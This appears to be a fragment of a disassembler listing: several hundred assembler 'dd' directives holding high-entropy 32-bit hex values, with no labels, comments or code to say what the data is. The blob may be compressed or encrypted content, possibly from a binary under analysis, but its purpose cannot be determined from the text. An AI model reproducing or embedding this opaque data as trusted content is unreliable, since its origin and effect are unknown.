		dd 12661830h, 9C5516FAh, 48CBAD8h, 0D7DA6E8Bh, 0CCCED0h
		dd 0EE6E73A6h, 7212ED5Fh, 0E259029Bh, 0E1F9E352h, 644ED48Bh
		dd 0C6FB6111h, 49606418h, 0F0005B87h, 36658A5Eh, 7FE440h
		dd 0D527E503h, 0A5ED974Eh, 0BE83C814h, 56C70BF8h, 433C6663h
		dd 30BBA2A6h, 7939FCE8h, 0A8434E71h, 0B04BF83Ch, 1DAEF7Dh
		dd 458D1D6Dh, 0D2B7775Eh, 190DA4A0h, 21623FA0h,	0F9A2DA11h
		dd 6F08000h, 283C0CA0h,	317154B3h, 9A00B218h, 1813826Dh
		dd 4864E9E7h, 744E2432h, 0B2B4A290h, 0AC2D3064h, 5C15CE00h
		dd 0B9BBB63Ah, 0E0C74620h, 90BC2BA4h, 5F9739A2h, 0F4E9D884h
		dd 7290B0C9h, 0A7773F1Fh, 84652652h, 0C029E80Bh, 1790C494h
		dd 1589E010h, 2A047020h, 0ADFE8445h, 191B89Ch, 69C0F575h
		dd 801F872Fh, 6CDCE5B1h, 3DC962AAh, 0F77F070h, 0D1139B7Ch
		dd 201E95C3h, 50E0E2D5h, 58C8A2Ch, 0A628DDB7h, 0A08EEBh
		dd 24DDEF2Ch, 0B0B9295h, 4762BEFAh, 2C452498h, 2E0C88h
		dd 261B59DCh, 47A52DCEh, 71ACD601h, 0DA7507CCh,	886C4B09h
		dd 0E07FC0B0h, 0C02A92Dh, 7912A39Ah, 57706056h,	64C48726h
		dd 17B9C067h, 38BAE378h, 215AC130h, 0F610191Ch,	12E77255h
		dd 61BE62DBh, 72C736D0h, 30B5F244h, 2F00D1FEh, 9F9CE0B7h
		dd 0A12277EEh, 58CDC710h, 86A5F0h, 2B788B7Ah, 0C9A2B721h
		dd 83FB1E3Eh, 0A75FD93Eh, 0DDDEF881h, 96060088h, 0CDFEB161h
		dd 7D047E2Bh, 0FA335179h, 0E9E2BCB2h, 1584E30h,	0D5A3BBACh
		dd 605A70C2h, 20934554h, 0F847AA3Bh, 6002B077h,	0BCA2DD37h
		dd 74E04CAAh, 21009C44h, 19EC79CCh, 0E424C0h, 0C3A294ABh
		dd 5FC54A3h, 0C95C60CBh, 8838CE4Ch, 1018A505h, 2D4CE7ECh
		dd 4C370Fh, 0D4299B98h,	1B00BC81h, 8603F027h, 16EC459h
		dd 8D778401h, 680FE8F3h
		dd 8A890218h, 4DC72F93h, 0F362C0ACh, 7B099205h,	39B9C5D7h
		dd 0FC19ECD4h, 0A6232ADDh, 0E443F9Bh, 17DDF101h, 0D7C9FBEAh
		dd 25A4422Bh, 0DCF08480h, 392C5090h, 0C5064E2h,	6F6C0236h
		dd 0E6AA4B8Eh, 7DC8ACA7h, 47DDE139h, 0A80C728h,	134585C4h
		dd 0A7C0D2A0h, 0F2D084h, 0B68B308Ah, 2CDEFEE1h,	3C787Bh
		dd 227FA186h, 2814D3E6h, 48A0C46Eh, 8CB4E848h, 0CA000970h
		dd 0B65A1A2Dh, 0B4B0D80Fh, 0AC3A0488h, 1004AD14h, 0DA13C7ECh
		dd 831804F4h, 0A28400B7h, 5C7039C8h, 14ECB81Eh,	0EB31078Ch
		dd 2BEF17ACh, 9CB61703h, 1D404102h, 0C389259Dh,	5244B29Ch
		dd 2A3461Ch, 0C47351D7h, 10FA314Ch, 3E51EEEDh, 0E2AE3E60h
		dd 0A0CB0E94h, 0A2098580h, 7D2EE3A5h, 465E70FAh, 0F71101E8h
		dd 641E23E6h, 0ACD43C28h, 506348h, 4550B8ABh, 0E4D993CEh
		dd 2D88B88Bh, 7863C7C1h, 0A8005862h, 51472558h,	0DF000A03h
		dd 6DB6F84Bh, 0F91099h,	0B45CD3F1h, 2EC43A5Dh, 538B6494h
		dd 64C067AFh, 57C860ECh, 769C0065h, 8923BD9Fh, 88B6462Dh
		dd 0D819B181h, 0B03A824Bh, 8100623Ch, 463DAD0Ah, 2C92223h
		dd 0CCE03530h, 2C50A3ACh, 3888DA4Bh, 4C9770B0h,	0D8067C98h
		dd 4E453C27h, 8B4DF49h,	0D418318h, 0FC99C211h, 8E151649h
		dd 78C6D48h, 914D7F27h,	54B9F7A2h, 0A2C5066Ch, 6C092144h
		dd 11511BA6h, 3460A584h, 6400E960h, 36FE1777h, 0B7311904h
		dd 9C91A0B0h, 0EC3C1F53h, 1F8C15BCh, 0C05259F0h, 98E7D5BFh
		dd 31E87C27h, 141D9C5Eh, 9A8F3800h, 50DDF7B0h, 0DC804Ch
		dd 600E87A1h, 3990176Ah, 999CB4Ch, 813F7E13h, 0DC72076Ch
		dd 0CC4FE8h, 0AE652D9Eh, 58E594E1h, 99DBCE09h, 0B07CC067h
		dd 0ACB35447h, 0AEFB00BAh, 4B3F9463h, 0A658B745h, 0DCB27C3Eh
		dd 3AA40555h, 0EA23142Fh, 21452301h, 0E4E44F02h, 10C915C7h
		dd 5509B44Eh, 6C71F29Ch, 0DC191371h, 86013029h,	0A98764D6h
		dd 21842B24h, 0C034E62Ch, 98F27F8Bh, 0A2023B07h, 2D10E961h
		dd 9791E7Ch, 5045D7A8h,	0B0E46045h, 5C86D060h, 0F6CF0A00h
		dd 8CC0DBA3h, 83F902ECh, 0FEE416EEh, 5C00E4C6h,	17660263h
		dd 57D5343h, 0AE4B1D9Ch, 6CD80135h, 3E12C358h, 0CF79862h
		dd 142795A0h, 53B4489Dh, 0BC8097BAh, 61011E31h,	6E426A04h
		dd 0DCF9752Ah, 9414FAC8h, 0FFBBE020h, 9F148660h, 81CCDDC9h
		dd 13CA8AA7h, 44DC4B2Eh, 0B7937848h, 5200B3ECh,	0B6512FD6h
		dd 8D30F8h, 9A045ABCh, 0A36D39A9h, 9C6C39C0h, 146E8E0Ch
		dd 0B81F45FFh, 78CB5E8h, 0A6C44605h, 0D11606E6h, 5C1020C0h
		dd 0A449EBDh, 800F3274h, 9C00DEE8h, 0E426897Dh,	7EAB7F2h
		dd 0D434AC74h, 0BC0EEBB1h, 8447B629h, 9E60F664h, 1979AFDFh
		dd 0A85CD92Ch, 120BC08h, 33828AADh, 0D4096A5Ah,	715879FAh
		dd 3D018E7h, 0E8923E20h, 23D88AC4h, 909AE213h, 9185DD95h
		dd 946010C8h, 1A20962Eh, 0D4F170CBh, 3E18F979h,	9F295A00h
		dd 57B63DDCh, 9C2FEA99h, 94088834h, 0BF6467Ch, 8781271Ah
		dd 70D91310h, 80FF0964h, 4880F574h, 326A501Bh, 7D87F701h
		dd 0A697458Dh, 14B6A045h, 933CA4E0h, 0ED3E7B0Ah, 742488D2h
		dd 12644674h, 68E2D2D9h, 87DCFC00h, 4A73598Bh, 525ED60Eh
		dd 0A9B7274Eh, 9C680B26h, 0E7465EA0h, 147C300h,	0D1C5583Ah
		dd 861B8D00h, 8845F19Eh, 0BB78256Ch, 28CD24E2h,	0D98883E0h
		dd 0CB081691h, 99C0455Bh, 6EE8569Eh, 3B1F0188h,	8FC7FD0h
		dd 0B4E31EF0h, 16465C40h, 0F6C10071h, 5EDBA1BBh, 1DFAEADCh
		dd 7E027802h, 6049964Bh, 3F1A23A8h, 58895DCBh, 54516E2Ch
		dd 9418F7D1h, 54FF0100h, 0E871BC09h, 4E2C2710h,	0C500E3F6h
		dd 3B2404FDh, 0C2A0CC58h, 2C05BAA9h, 551B10CEh,	0D8C748C0h
		dd 0AF5D806Ah, 0E7941814h, 4B3904CCh, 6C81D5E6h, 20864AFCh
		dd 4910AD23h, 0DC50B4h,	0AC062876h, 0E9B8072Eh,	0E09DA428h
		dd 7F97B604h, 8CE835B1h, 0F8CF6E8h, 3A135D37h, 0C7FADF24h
		dd 7A0747B6h, 0BAB68098h, 1D32F759h, 53142F5Dh,	30EAA2FCh
		dd 1700BB19h, 8FC3A99Bh, 2C85F82Ch, 8490FB77h, 2600FFDh
		dd 0A9E511C7h, 0C1E4EDACh, 0C8AF7109h, 645439D8h, 2EE12494h
		dd 98E63453h, 0A6B9D6B0h, 8E24637Dh, 4A3C0043h,	1323EC3Eh
		dd 0FB23103h, 0E2A9E001h, 0A12430BDh, 0F5E87041h, 78E5E000h
		dd 0DF3E8E86h, 74A60CAAh, 8CE92887h, 3D328204h,	80FCEE68h
		dd 6B8B9C02h, 944136B6h, 0BA5452ABh, 0C4C4C51Ah, 0E9516016h
		dd 0BECC00F9h, 0DB071AEEh, 571DE8F7h, 31822472h, 7E6E150Ch
		dd 4304DE30h, 0B783953Ch, 0ACA1D803h, 7D14B095h, 42535D07h
		dd 68E06DBAh, 30A275DAh, 0C908E7AEh, 0E1001CEFh, 877D22EBh
		dd 6D64F9h, 0CFD25402h,	85C10AD5h, 60B75803h, 881725F4h
		dd 3C77DF7h, 3559ACFEh,	483AA908h, 0B1AF0C04h, 3A59BEh
		dd 642ADE43h, 59B5FF14h, 4CFEEC3Ah, 7D206153h, 8D30DDBBh
		dd 9C8200A0h, 70EB470Ah, 0DB07FBD7h, 3DABE867h,	2ED691B3h
		dd 0A86A80h, 0C0D8EA7Bh, 43008C40h, 47F976ABh, 0A926C2h
		dd 0C1C3E21Eh, 0BC9FD05h, 609E913Ah, 0FE3002F0h, 2DDC0741h
		dd 0AC23AC9Dh, 21C3ED08h, 0D8FE2845h, 73BDD76h,	20E5F8A0h
		dd 1861FF1Fh, 9EB50690h, 0C54FC28h, 0FE43802Ch,	8C25DC42h
		dd 44E744h, 4F12FE7Bh, 0E85CC6B9h, 85D07E01h, 0AA41BC24h
		dd 0F2DA8440h, 0D8D9008Dh, 0F31ED7F0h, 9702A073h, 27A31309h
		dd 0DAB0A0E1h, 1F8A8D5h, 550EEFF7h, 985F28BEh, 0EB217B08h
		dd 0F4F804B0h, 8095516Ah, 4426CF0Eh, 0BCA08601h, 0BF7BC130h
		dd 0C70024h, 65C9A3FBh,	0C3E141E9h, 80CEBD0Eh, 0CD1523FCh
		dd 0BC290CB7h, 28617E3Fh, 0B8524103h, 1440AD32h, 5042A3D8h
		dd 12F8A787h, 0D30F6EFh, 0AFEC80A3h, 0A0157FEh,	484C184Eh
		dd 0BD4A2DCh, 309059h, 0FC269CF1h, 0D9339F90h, 0B87ABC18h
		dd 0E4F56989h, 54E01A8h, 7D469F0Dh, 8081D10Ch, 6A109221h
		dd 9D98E6Dh, 4CAED0DCh,	8CC0342Eh, 83B96C44h, 907848F8h
		dd 0DACC6000h, 78C9172Fh, 0AB8A121Fh, 23602F03h, 45F3004Eh
		dd 33F7E2C0h, 79F49400h, 0D9D3AE17h, 0E6F01FEAh, 3A0A955h
		dd 74A00AB8h, 0F179CDD8h, 0CCA91500h, 0BF38B030h, 0A80F52C0h
		dd 9F3302F2h, 0C1481420h, 0EE0F0235h, 0BC5FFBD9h, 52DBA040h
		dd 24D31820h, 860A8CAh,	416090AAh, 0EDDC40FEh, 7962000Eh
		dd 43D3B0FEh, 9FF7C7Fh,	0AC252FEDh, 67F05000h, 5890BFB2h
		dd 0C7F138A0h, 29C7E20h, 5855C8Dh, 0E808BBAFh, 677B4E08h
		dd 0A2C227F7h, 6A190C55h, 0D8129411h, 0C300D264h, 872BDD25h
		dd 0C8F02A9h, 0C9DC8344h, 70359E0h, 0AAC7F292h,	0A37815A1h
		dd 6338E0BFh, 29832498h, 0F131F30Ch, 7AC588DDh,	0AB68850Dh
		dd 44287D4Eh, 69A90189h, 32F84D6Ch, 8A0FD892h, 0F906357Ch
		dd 4F06C7CFh, 0D0400A78h, 2E433EFh, 0BDB1C448h,	6079E884h
		dd 2311F8AAh, 79185EF0h, 6B2B521h, 67D031F8h, 4039D16Eh
		dd 58523230h, 6654404Bh, 5D042663h, 8C19290h, 4FC0B35Ch
		dd 21643EDEh, 5091FEB4h, 0DDC79900h, 0ABA4B65Fh, 70D1B491h
		dd 59FE9718h, 738E7600h, 0C136574Bh, 79FD13EAh,	0A99421C6h
		dd 93E0C90h, 7DDC3FFEh,	6309C09Ch, 8090FE76h, 2E3C84BEh
		dd 616A726Fh, 5359215Ah, 3BE186D9h, 46B8A337h, 8F439B7h
		dd 0C40D4EADh, 0FB8B406Ah, 1755B869h, 0F2F5DFh,	77A03309h
		dd 0D0492B64h, 0BE4D0F98h
		dd 641E0AEAh, 0EB4676h,	48DB133h, 154E9EEFh, 0E002A7B8h
		dd 3ABED713h, 34D2334h,	0C4AE5F40h, 0EA29E7E1h,	0E5498C90h
		dd 7727FA88h, 48951694h, 0CD4011Dh, 63DA266Fh, 0DD062A8h
		dd 0FE2A1891h, 1DDC4314h, 425FE0CCh, 0F5C300FEh, 3E193676h
		dd 8510C5D4h, 0A224B7D8h, 3C680850h, 0FCFD420Ah, 6EBD00DCh
		dd 712CBE03h, 91228558h, 83CB00F3h, 330BE97Fh, 11EAED51h
		dd 60E01800h, 86D6105Fh, 6946322Fh, 6C900F78h, 1513FE2Ch
		dd 6C384DDCh, 0FE440F61h, 0A4A05AC2h, 7A9F26C8h, 0CE526303h
		dd 0AE6FBCDh, 0D14EE4D0h, 493785B4h, 0B274C8A8h, 0DE40028Ch
		dd 0FEEC6441h, 9A104F19h, 6503DDB8h, 4E07243Ch,	1A9E8B30h
		dd 91D68660h, 8BA4C8C1h, 9D686331h, 87E61160h, 0AAD0A0AEh
		dd 0C92A496h, 0BC7BCB6Eh, 21009F61h, 0F8114A5Ah, 0B0518Eh
		dd 0E822C6CDh, 0BCB3675Dh, 0DA813D60h, 194EA916h, 0A85C0F68h
		dd 914020F2h, 0AF8A2800h, 149DE76Dh, 34273041h,	2458A220h
		dd 0E908505Ch, 0EE8330C2h, 5E748B02h, 8409D69Fh, 1560B1B0h
		dd 64102CDEh, 52C8FF24h, 0DE4D7F80h, 0B08C2C86h, 633C09FAh
		dd 78025F1Ch, 0E0A2D432h, 792F9952h, 89037220h,	60E6A4E1h
		dd 0A4990490h, 24184E79h, 5648EA7Fh, 0BF4684C8h, 8C2B4143h
		dd 92DD8928h, 1474025Ch, 24505BD7h, 465E5CFCh, 142401EEh
		dd 35CC1840h, 0A243C040h, 10804A02h, 4DE8A0D4h,	0D179058Ch
		dd 900ECFEFh, 182DC0E8h, 5605B61h, 0DDF4E1CBh, 46BC9854h
		dd 6A1101B8h, 0CA54EACh, 8689670Ch, 48EC6AECh, 0DC062AFAh
		dd 0A86FCD0Ah, 67A7F806h, 170EA62h, 0E241B83Ah,	2190C0B6h
		dd 2840A4A7h, 0EEC4674h, 60571D88h, 0F98BD365h,	0B5043085h
		dd 0F15F6291h, 15CE9905h, 0D892FE98h, 794447Ch,	219782E9h
		dd 0BB3480ADh, 0D901A336h, 245DFD85h, 0B04E06D6h, 91C05188h
		dd 0CEAE798h, 5B903A55h, 0FAE056B1h, 979D6200h,	0FC22196h
		dd 0A520030Ch, 0A2AD9365h, 0ADD2905h, 9C02AAE1h, 9D8D36E7h
		dd 808411C4h, 1921324Ch, 0FC5210D8h, 74E218FFh,	0E33169h
		dd 142DBFD1h, 0F3C0EB86h, 11234F3Bh, 1700D2D8h,	483E963Ch
		dd 0DB12B8F7h, 0FC089EB5h, 0F8ABC076h, 1646EFF4h, 0E821FF30h
		dd 903F813h, 0F04DF4C8h, 0C1B199ECh, 0DD97A850h, 32E00E2Ch
		dd 0D602B294h, 0BC69FD15h, 8421814h, 0BC6443DEh, 7C4033C4h
		dd 150CDDBAh, 0EDB8BF26h, 0BCDE0E02h, 9C85268h,	35A667F0h
		dd 982F9060h, 366368CEh, 1D06814h, 67EB52D7h, 0E820B754h
		dd 5694020h, 81C10939h,	56310C14h, 88415F84h, 9450C07Ah
		dd 0E6D227h, 3A3B26AFh,	0EA2CA446h, 0F72EA973h,	46742CF8h
		dd 0EFB400E6h, 0D3E0BE1Fh, 6AA9059Eh, 12D7A4F2h, 85989BC0h
		dd 0B9802499h, 261A1745h, 92C94FFh, 486A4E50h, 0DFC0DCEDh
		dd 2B0D562h, 7B08C72Ch,	91874840h, 7581DE31h, 444AA670h
		dd 235C2EBCh, 0F7CA0083h, 0CE3D7C2Eh, 0E0049876h, 1957F23h
		dd 0D4B124C1h, 0CBCC8814h, 5EFECC00h, 0AF399686h, 268A0C5Dh
		dd 0BA802E76h, 6A03058Ch, 28F54EA6h, 0E767870h,	235FC000h
		dd 1DA69779h, 0C5B1CF3h, 0CEACC967h, 39E1008h, 52A23970h
		dd 0B4407CA2h, 5404F218h, 389FA514h, 7A38D3h, 3C2AA2A1h
		dd 4D0B5793h, 0A237E0Bh, 0B24C2FA5h, 2BE75841h,	443DC6C2h
		dd 0B11C05E8h, 0A740A43Fh, 35EE1578h, 4BB81540h, 2E4EF8A3h
		dd 0A30D1038h, 0E02FC0DFh, 0E21E3A6Ah, 0F757A104h, 0D8A1C93Dh
		dd 80322C42h, 1F8673C7h, 3819C1F6h, 0A6E30E18h,	350B9C1Ah
		dd 46244413h, 0DE410215h, 31446430h, 0B97B1050h, 43CC00DDh
		dd 0EF49C3ADh, 5214A3ACh, 0AA07020h, 84CF8FF9h,	465E80AEh
		dd 0B8C10EE7h, 89E4800Fh, 1BAC87A6h, 814BAE24h,	5D27F6B0h
		dd 60511A00h, 0C8BB98F5h, 0C32C008Dh, 18C57DF0h, 68E2529Ah
		dd 64942498h, 30B0E8B2h, 2F11DE16h, 34881C64h, 0DE4E8080h
		dd 3AA17ACDh, 6D8DAB36h, 4251947Ch, 0F831BB64h,	6DBAC0CAh
		dd 6000990Ch, 796A0F77h, 2C485500h, 0AE17BC70h,	40521484h
		dd 0FF049C7Bh, 8209EA2Bh, 0C459A248h, 0E70CC111h, 0B31984F4h
		dd 63662F04h, 9CD05914h, 0DEA85FEAh, 0A2094648h, 0C10028CFh
		dd 0D71EEC40h, 969EFB0h, 8B3EBC9Fh, 1140282Ah, 0F8A58028h
		dd 8CA6EFF6h, 0EA217C60h, 5CB7F8ADh, 6408804Eh,	14A6590Eh
		dd 0A6DF00D6h, 0CD258CE2h, 290613D7h, 55B86364h, 0D17B2AD0h
		dd 8838009Ch, 5ED5627h,	26298EF6h, 8B1790E1h, 82F47000h
		dd 1C66179Ch, 9339A9AFh, 16FC40B8h, 0B91229B3h,	49BC1400h
		dd 5F43AB42h, 0D9B8096Fh, 0D0E5F85Bh, 8960F0E4h, 730C5C36h
		dd 0B1CB085Bh, 20BC41EDh, 0E9409CE8h, 29A30C65h, 61B170E1h
		dd 5F6CAA01h, 38462A9h,	19579F8h, 0B67528F7h, 63139EF9h
		dd 3084A200h, 0F83A6D34h, 0A8020A2Ah, 0DE04CC0Ah, 5CCBFD17h
		dd 98C0F0C8h, 32EA4DC4h, 8A1983F5h, 0D62668D8h,	0D134FD5Eh
		dd 488608Eh, 84D93C0h, 0C578009Ch, 58F670E7h, 0D1C0BD7Bh
		dd 17E4431Dh, 0F9BF0055h, 6FB4832Ch, 0B5126E39h, 0C081E5EBh
		dd 0F844F8D6h, 7B23FCE2h, 0F3F8AC01h, 842CAEEFh, 0F814E7B0h
		dd 1A115D01h, 7AB1DD13h, 5C744040h, 61CE00DFh, 0A8CBBB1Fh
		dd 0A359435Bh, 5E420D4h, 8B64C116h, 0B0C8B613h,	0AD062E4h
		dd 0EF9FAB06h, 9C5D87B0h, 908FA7F6h, 0E91CA23Bh, 36AFAD00h
		dd 0B0DB39AAh, 0CF1F03C5h, 33EB0FC1h, 0A20354E7h, 3050E28Ch
		dd 0D7092AD6h, 606452DBh, 60EFE790h, 0A3D89A0h,	18C20F05h
		dd 20F390CBh, 0CE841A71h, 4C847361h, 0E6F421F4h, 0AF5EC0EAh
		dd 2B2317C3h, 0D640F100h, 0F979C247h, 799EC48h,	5A49866h
		dd 406E802Ah, 4F504430h, 0D01776A4h, 4C14478Eh,	8C65E87Ch
		dd 0E4AE9615h, 36620080h, 697352Ch, 76740024h, 0C30A1F70h
		dd 0CC0CA073h, 78F1EBD0h, 40D2F8F0h, 0D85ED94Fh, 7910042Fh
		dd 3000D6A2h, 3709978Dh, 4D2701C2h, 5F163EAAh, 0C42B6136h
		dd 824CCC5Bh, 26460110h, 0CBDC2AEAh, 0A2DBC087h, 3060490Ch
		dd 28B12B5Bh, 191882D1h, 83647606h, 5A6873C8h, 0C61441CCh
		dd 7F2882Dh, 0BCCEDD35h, 28C28288h, 0C834C1CDh,	88E304CEh
		dd 48C44B8h, 0EFFAF8C1h, 797C8E06h, 0A8F8A900h,	6641F7DCh
		dd 0AB8A281Eh, 581D0594h, 0CBFDC053h, 0C2EEC814h, 0CC40AA54h
		dd 43803C08h, 0EC0C3DF2h, 0F0E22852h, 2E9D930h,	0C7D20CA5h
		dd 10405162h, 0A1A3462Ch, 0A7A7C6B9h, 915C17F0h, 0BBF8036h
		dd 12B4E1h, 0A4ECC502h,	6D3FFB64h, 461F6094h, 9EAD9601h
		dd 3B2A75C2h, 5123F0h, 72F69F43h, 0F00C83DEh, 0C846D66Fh
		dd 0A8FC2E38h, 0EF4674C8h, 909C7900h, 71208674h, 249480BAh
		dd 6A465Eh, 17ACF5CCh, 1688B6F1h, 0E66681Ch, 0E7E2DCA4h
		dd 0C7A7AABh, 0D952B100h, 595374E0h, 3087007Bh,	503F297h
		dd 0E9E2AE56h, 0C2F38CA8h, 0D3B1DA00h, 8EADCD02h, 137A00EEh
		dd 7F42CA66h, 0DC4816FAh, 68722569h, 0B4AE2BACh, 0BC46801Ch
		dd 0CCA1DE50h, 0BE069101h, 0D8E41E86h, 6788744Eh, 5EB131C0h
		dd 0F2D713FFh, 6E4001E7h, 49F4B65h, 6A4E4D82h, 11FC9D40h
		dd 122F806Ah, 0E08594h,	0C8483DB0h, 0C771F620h,	584E5E31h
		dd 0A86D2B60h, 0D040B592h, 0AE248636h, 41821C7Eh, 0D0D35483h
		dd 2F094B9Ch, 342308h, 244F7280h, 60042861h, 0A96BEA3Ch
		dd 0A273E202h, 242B5500h, 17190012h, 14540D1Eh,	6F02DB8Dh
		dd 0F1FE40A8h, 7934F92Ah
		dd 0E4AD1884h, 0D66E3C42h, 92712C92h, 0B04874A8h, 90160A89h
		dd 0F4CBFCE3h, 0EAC1F088h, 0E8304E81h, 0DD6F403Ch, 28910A24h
		dd 4D2089ADh, 0F8E6774h, 0C4803D2Eh, 0B7571173h, 0D1DF460Bh
		dd 2771829Eh, 4D90C4C8h, 0BC0A0CF9h, 0ACA8C53Dh, 0E46747Ch
		dd 6D2DB0Ch, 7802F784h,	0F215C0AAh, 96E0564Bh, 4D5090E1h
		dd 14003410h, 0E871F017h, 61FD99Ch, 4EC7FF5Fh, 26169843h
		dd 0B0D02BDAh, 2D590ADBh, 0BCB358ACh, 708002E0h, 98A219D2h
		dd 8C10C840h, 0D8FE2F24h, 0E0C84514h, 2FE2760h,	6AD12D1Ah
		dd 28E0B0E8h, 0CCB95394h, 54FF4600h, 3E1838F4h,	484E58E4h
		dd 63837778h, 6BD145Bh,	610A0580h, 0DA4898DCh, 1EE970FCh
		dd 0E67414C0h, 0CB630486h, 0A1D74019h, 4348A70h, 522F1F29h
		dd 47F101C1h, 0EBEB0956h, 50B6E1EEh, 3EB465Eh, 8CD268B8h
		dd 880485EDh, 15080308h, 0F5BCEE03h, 0EC63E94Eh, 3AD84800h
		dd 0F8B48C34h, 528834CEh, 65CDC3C0h, 30E21290h,	8408CFACh
		dd 0E330A27Ch, 535EF28Eh, 23F3E420h, 0A68980C6h, 0CBF4E416h
		dd 10D81050h, 5AC4741Dh, 34AC24C0h, 28C82ACh, 8363E7BDh
		dd 847D35Ch, 4BC0CA88h,	7011A017h, 2036D880h, 0F39814C0h
		dd 0C8D62F01h, 856BF368h, 0C423D080h, 212DE3B6h, 1EA80202h
		dd 0D1ED1B4Dh, 18ED7938h, 1BAA1E86h, 0DF97C1B7h, 805D902Ah
		dd 0D4CAA921h, 1F07C073h, 0EE516914h, 740808ECh, 46E4B820h
		dd 9B656C1Fh, 7A81E409h, 4301368h, 0E7A80059h, 1906859Eh
		dd 2FBC9900h, 0DD0F149Bh, 448C0E1Eh, 0B56027FAh, 5631CEEAh
		dd 52D194B9h, 1D001118h, 0ED697119h, 253AA312h,	18858F40h
		dd 0E17CE20Fh, 0C00CA30Eh, 4DE7661Eh, 0A7041FC0h, 17C2CC9Ch
		dd 2090A939h, 0D9436574h, 2A14C100h, 6EB201A8h,	57F30F97h
		dd 154F345Bh, 7CC3C981h, 6CF050D4h, 1E019D82h, 0A93191D6h
		dd 30681339h, 3A8C36B8h, 0F9828DEFh, 993DCC4Ch,	10ABC061h
		dd 2102747h, 233B038h, 0A064D3E0h, 27BA6321h, 0EB916015h
		dd 28F4180h, 14C4E52h, 81900198h, 0D7F3A1FAh, 0EC30ACFDh
		dd 35667317h, 0E3F1C69Ah, 3036A208h, 780056D7h,	0BBB20DD0h
		dd 1A468095h, 0C06CBC63h, 8E54CC1h, 21A05FF0h, 3D5C1C0h
		dd 7013EDFFh, 0A3178004h, 86129CC8h, 0EC58249Bh, 120409EEh
		dd 9C68DC86h, 0A4201888h, 94164CFFh, 0C08C9AA5h, 0D6F5EF0Eh
		dd 226848C6h, 286FBE01h, 3AC0A157h, 0CED09C21h,	0D4788004h
		dd 14FA564Eh, 0F71564BCh, 8A692CCh, 85B966E0h, 460074A4h
		dd 1B6717E2h, 9843D9Eh,	5F525B4Dh, 289F4C71h, 802B0B38h
		dd 11881DEFh, 80AC8F7Eh, 0AD13B3DEh, 703D003Ch,	0F1BF6E87h
		dd 80A4EB38h, 869A9903h, 900FE1BDh, 0D61F26h, 9EB73C96h
		dd 34CF8FB9h, 680080D3h, 0F2199D10h, 0FA20A04Eh, 14A44C47h
		dd 0A0CCE6A4h, 3BF01DBCh, 446058BBh, 0AE13CACDh, 7E402097h
		dd 7388AAh, 2B2071DAh, 6085527Bh, 0AD01667Ah, 481FD665h
		dd 7062E139h, 7180993Ah, 0BEF0508Ch, 2E008E1Ch,	96EE0289h
		dd 1C13029h, 0F1426435h, 27DA2C85h, 0B8004CECh,	65128CE6h
		dd 6F0FB1BCh, 0C0D6C190h, 6BCE023Ch, 3C8DFDE0h,	0E7F28472h
		dd 0E766B30h, 2651ECA5h, 0F3F81D02h, 2875A5E1h,	43FFF848h
		dd 0AF3400A2h, 0B8ACB2E4h, 0B97DF2DCh, 0C0750128h, 2AD5DF46h
		dd 30E8940Eh, 0BCE27202h, 0E0A3273Eh, 31035C90h, 0B7E6457Ch
		dd 5586C836h, 683A0CF3h, 4B381847h, 0EB01E209h,	4734926Dh
		dd 60EC44A0h, 0EAB47252h, 853900F0h, 0CC916EEAh, 0A8BC12DCh
		dd 86A3E05Ch, 7769A800h, 0F2021DA9h, 2BEB58A4h,	5B665E09h
		dd 0D717687Ah, 4C4FB43Ah, 0E0F88963h, 0B861DDF8h, 217F731Ch
		dd 0EED1BD33h, 0C3269518h, 640C4B1h, 7804EB33h,	55700309h
		dd 2B87D650h, 84389010h, 3C26AA00h, 0B4FC9D77h,	8C7B7C2Ch
		dd 0D0B6FB40h, 0CB2C121Eh, 10EC477Fh, 0C02787ACh, 73E8561Fh
		dd 7C46A01Eh, 8FC4F2C2h, 11C49DD8h, 7DBE80EAh, 9BC4CE8h
		dd 7F3D0A33h, 126F38C1h, 0C7C88F6Eh, 901CA2Ch, 0F8F5D63Ch
		dd 0A274DC2Ch, 4E3080D8h, 5004C70Ah, 9F1C049h, 3AD267EFh
		dd 2B687060h, 4C9C6C48h, 8CF1ECB8h, 56EAFC00h, 0A849C05h
		dd 80866095h, 9BE21EAAh, 9EF0BB09h, 7074DB55h, 101D9F1Dh
		dd 0CBC84EE3h, 707604E7h, 0F38B0E6h, 0D41C040Ah, 4409E024h
		dd 942814D3h, 50465E00h, 57361C00h, 0FBE89EC3h,	64782705h
		dd 14B187F3h, 240C6CF2h, 0E5EC89F2h, 19E0925Dh,	115C971Ah
		dd 277680EAh, 172B48E4h, 0C1290ADCh, 0FCA0187Ch, 9CB0953Ch
		dd 98A8F620h, 25BA0478h, 0C960F5D2h, 0CB83000h,	1802099h
		dd 0E01B3EDEh, 43A30796h, 29BE2F4Bh, 76895600h,	0CD2FC6A2h
		dd 0F20480A7h, 0C2AD26CFh, 12FC4060h, 0D628D6h,	1DEB9F7Dh
		dd 30EA8650h, 0B80C1A1Eh, 0B9919E4Fh, 8C3CA299h, 248C82BCh
		dd 4602892h, 0CEE87EC4h, 0C0EFC8FCh, 5F61A831h,	69823600h
		dd 7BB2B86Ah, 0B66001F9h, 0CB2574F3h, 0AD0AF041h, 0D8EA260Fh
		dd 0D16909ACh, 0A3047854h, 0F6950086h, 0CC33B578h, 580B41B2h
		dd 9037F1E2h, 2AF76098h, 97B85979h, 7801CCB7h, 0DC80B9B1h
		dd 272B40E5h, 0BF4B4264h, 77FB4121h, 52B0412Bh,	0A754394Dh
		dd 6028ED28h, 0E329C615h, 0B89BD24Fh, 1587EE81h, 48AAC06Bh
		dd 0B52C90B7h, 749300A6h, 6D28BABh, 7800A8E4h, 0F2879F1Ah
		dd 0BF94331h, 0D7536B5Ah, 0BD4E9481h, 0C2F2B09h, 9C00EF23h
		dd 7015B8CCh, 581A9D3Bh, 0BC5B60D1h, 0D2B01A60h, 0FC4B74C0h
		dd 34BCD0D6h, 0A898992Fh, 98039298h, 13C29342h,	0A2762DF0h
		dd 10784864h, 0F402345Fh, 77BB8067h, 0DC08E0D6h, 2E7600FEh
		dd 79ADEF46h, 0DE9C13Ch, 404CE220h, 6C8860FAh, 0AEA880B5h
		dd 0E279FF64h, 154480A4h, 0FC379A04h, 0C8208B4Bh, 0B7D7C04Fh
		dd 38BCAAFCh, 2DCEAC40h, 0DBD91385h, 8B3CA303h,	0F1885960h
		dd 15018F1h, 0AA7835D1h, 349BEECFh, 8359B850h, 0C94B1F10h
		dd 3E289044h, 0BC131CE9h, 4B3C903Bh, 2601FC04h,	0EAB05640h
